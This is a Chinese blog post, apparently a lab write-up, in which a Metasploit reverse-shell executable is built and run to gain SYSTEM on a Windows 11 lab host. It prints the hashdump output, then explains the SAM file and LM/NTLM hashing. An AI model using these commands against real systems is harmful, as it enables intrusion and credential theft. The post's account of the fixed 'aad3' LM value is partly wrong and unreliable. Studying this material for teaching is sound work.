抓取内网Windows明文密码与hashdump抓取密文

2024-05-01 21:52

本文主要是介绍抓取内网Windows明文密码与hashdump抓取密文,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

抓取内网Windows明文密码与hashdump抓取密文

  • 一、msf远程控制实验
      • 1、生成一个木马控制程序--mpf.exe
      • 2、启用MSF攻击平台
      • 3、加载模块和选择payload
      • 4、设置payload参数并且进行监听
      • 5、提权
      • 6、hashdump抓取hash值
  • 二、实验思考题:
      • 2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
      • 2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
      • 2.3 为什么第一个模块 永远是一样的aad3
      • 2.4 这两个模块的加密算法有什么不同,如何加密的

一、msf远程控制实验

实验准备:

kali:192.168.111.129
win11:192.168.111.145

1、生成一个木马控制程序–mpf.exe

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.129 lport=2331 -f exe > /root/mpf.exe

2、启用MSF攻击平台

┌──(root㉿kali)-[~]
└─# msfconsole

3、加载模块和选择payload

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

4、设置payload参数并且进行监听

msf6 exploit(multi/handler) > set lhost 192.168.111.129
lhost => 192.168.111.129
msf6 exploit(multi/handler) > set lport 2331
lport => 2331
msf6 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.111.129:2331 
[*] Sending stage (175686 bytes) to 192.168.111.145
[*] Meterpreter session 2 opened (192.168.111.129:2331 -> 192.168.111.145:51668) at 2024-04-20 01:08:17 -0400

5、提权

meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z

6、hashdump抓取hash值

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fly:1001:aad3b435b51404eeaad3b435b51404ee:9745ea134185c97df859fd43c05f0be7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:15f3f11a63b481d0a7ab3c1afef16dcd:::

二、实验思考题:

2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文

存储过程:
在windows中,用户登录的密码一般不会以明文的形式保存在计算机中,而是通过保存密码的哈希值来确保它的安全性;当用户注销、重启或锁屏后,操作系统会让winlogon.exe显示登录界面,接收用户的输入信息。用户输入密码后,密码信息会交给lsass进程。在这个过程中,会存一份明文密码,并将其加密成NTLM Hash。加密后的密码哈希值会与存储在SAM(Security Accounts Manager)数据库中的哈希值进行比较认证。
Windows默认使用NTLM或Kerberos身份认证协议进行加密存储用户登录的密码。

1、NTLM
它是一种质询/应答身份验证协议,用于在网络环境中验证用户的身份。NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。在NTLM认证的过程中,客户端回和服务器进行一系列的交互,以便于验证用户的身份;它提供了数据完整性和加密功能,适用于工作组和域环境

2、Kerberos
Kerberos是一种身份验证协议,旨在为大型网络环境提供强大的身份验证和访问控制。它涉及客户端、服务器和密钥分发中心的参与,通过票据授权实现安全访问。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。它的加密功能比NTLM更加强大;

密文一般存储在:C:\Windows\System32\config\SAM文件中

此文件保存了Windows系统中所有用户的密码哈希值,是一个二进制文件,因此无法直接打开并查看到明文密码;为了保护用户的密码安全,SAM文件是被Windows系统保护的,普通用户无法直接访问或修改。

如果想要查看到hash值或进一步获取明文密码,需要一定的技术手段。例如,可以使用mimikatz这类工具读取lsass.exe进程内存来获取已登录用户的NTLM hash。另外,也可以通过修改特定的注册表项,强制让系统在特定条件下暴露出明文密码。

2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么

在这里插入图片描述
通过上图: hashdump抓取的密文分为LMhashNThash

1.LMhash(LAN Manager)
LM Hash全名为“LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上就好了。如果LM Hash被禁用了,攻击者提高工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"

2.NTLM hash:
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
它是Windows系统中更为常用的哈希算法,用于存储用户的密码信息,与LM哈希不同,NT哈希没有长度限制,并且使用了更安全的加密算法。因此,在大多数情况下,NT哈希是更可靠和安全的密码存储方式。

因此通过抓取这两个模块的哈希值,攻击者可以尝试破解用户的密码。不过,需要注意的是,即使获得了哈希值,也不意味着可以直接还原出明文密码。破解哈希值通常需要使用暴力破解、字典攻击或其他高级技术,这取决于密码的复杂性和长度。

2.3 为什么第一个模块 永远是一样的aad3

  1. 第一个模块是一样的"aad3"是因为在Windows系统中,如果用户的密码为空或者密码长度不足14个字符,系统会自动生成一个固定的"aad3"值进行存储。 这是由于LM算法要求密码长度必须是14个字符,如果密码不足14个字符,系统就会用"aad3"来填充。
  2. 还有是为了保证系统的兼容性,Windows将LM hash禁止使用了,当其被禁用时,攻击者通过工具抓取的LM hash通常为这个固定的值;所以LM hash的固定值永远都为aad3

2.4 这两个模块的加密算法有什么不同,如何加密的

1、LM Hash加密:

  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  3. 再分7bit为一组,每组末尾加0,再组成一组
  4. 上步骤得到的二组,分别作为key 为 KGS!@#$%进行DES加密。
  5. 将加密后的两组拼接在一起,得到最终LM HASH值。

2、NTLM hash加密算法如下:

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算

这篇关于抓取内网Windows明文密码与hashdump抓取密文的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/952760

相关文章

Windows Server服务器上配置FileZilla后,FTP连接不上?

《WindowsServer服务器上配置FileZilla后,FTP连接不上?》WindowsServer服务器上配置FileZilla后,FTP连接错误和操作超时的问题,应该如何解决?首先,通过... 目录在Windohttp://www.chinasem.cnws防火墙开启的情况下,遇到的错误如下:无法与

SpringSecurity 认证、注销、权限控制功能(注销、记住密码、自定义登入页)

《SpringSecurity认证、注销、权限控制功能(注销、记住密码、自定义登入页)》SpringSecurity是一个强大的Java框架,用于保护应用程序的安全性,它提供了一套全面的安全解决方案... 目录简介认识Spring Security“认证”(Authentication)“授权” (Auth

Python解析器安装指南分享(Mac/Windows/Linux)

《Python解析器安装指南分享(Mac/Windows/Linux)》:本文主要介绍Python解析器安装指南(Mac/Windows/Linux),具有很好的参考价值,希望对大家有所帮助,如有... 目NMNkN录1js. 安装包下载1.1 python 下载官网2.核心安装方式3. MACOS 系统安

Windows系统下如何查找JDK的安装路径

《Windows系统下如何查找JDK的安装路径》:本文主要介绍Windows系统下如何查找JDK的安装路径,文中介绍了三种方法,分别是通过命令行检查、使用verbose选项查找jre目录、以及查看... 目录一、确认是否安装了JDK二、查找路径三、另外一种方式如果很久之前安装了JDK,或者在别人的电脑上,想

Windows命令之tasklist命令用法详解(Windows查看进程)

《Windows命令之tasklist命令用法详解(Windows查看进程)》tasklist命令显示本地计算机或远程计算机上当前正在运行的进程列表,命令结合筛选器一起使用,可以按照我们的需求进行过滤... 目录命令帮助1、基本使用2、执行原理2.1、tasklist命令无法使用3、筛选器3.1、根据PID

Python中Windows和macOS文件路径格式不一致的解决方法

《Python中Windows和macOS文件路径格式不一致的解决方法》在Python中,Windows和macOS的文件路径字符串格式不一致主要体现在路径分隔符上,这种差异可能导致跨平台代码在处理文... 目录方法 1:使用 os.path 模块方法 2:使用 pathlib 模块(推荐)方法 3:统一使

Windows server服务器使用blat命令行发送邮件

《Windowsserver服务器使用blat命令行发送邮件》在linux平台的命令行下可以使用mail命令来发送邮件,windows平台没有内置的命令,但可以使用开源的blat,其官方主页为ht... 目录下载blatBAT命令行示例备注总结在linux平台的命令行下可以使用mail命令来发送邮件,Win

Windows环境下安装达梦数据库的完整步骤

《Windows环境下安装达梦数据库的完整步骤》达梦数据库的安装大致分为Windows和Linux版本,本文将以dm8企业版Windows_64位环境为例,为大家介绍一下达梦数据库的具体安装步骤吧... 目录环境介绍1 下载解压安装包2 根据安装手册安装2.1 选择语言 时区2.2 安装向导2.3 接受协议

jdk21下载、安装详细教程(Windows、Linux、macOS)

《jdk21下载、安装详细教程(Windows、Linux、macOS)》本文介绍了OpenJDK21的下载地址和安装步骤,包括Windows、Linux和macOS平台,下载后解压并设置环境变量,最... 目录1、官网2、下载openjdk3、安装4、验证1、官网官网地址:OpenJDK下载地址:Ar

Oracle登录时忘记用户名或密码该如何解决

《Oracle登录时忘记用户名或密码该如何解决》:本文主要介绍如何在Oracle12c中忘记用户名和密码时找回或重置用户账户信息,文中通过代码介绍的非常详细,对同样遇到这个问题的同学具有一定的参... 目录一、忘记账户:二、忘记密码:三、详细情况情况 1:1.1. 登录到数据库1.2. 查看当前用户信息1.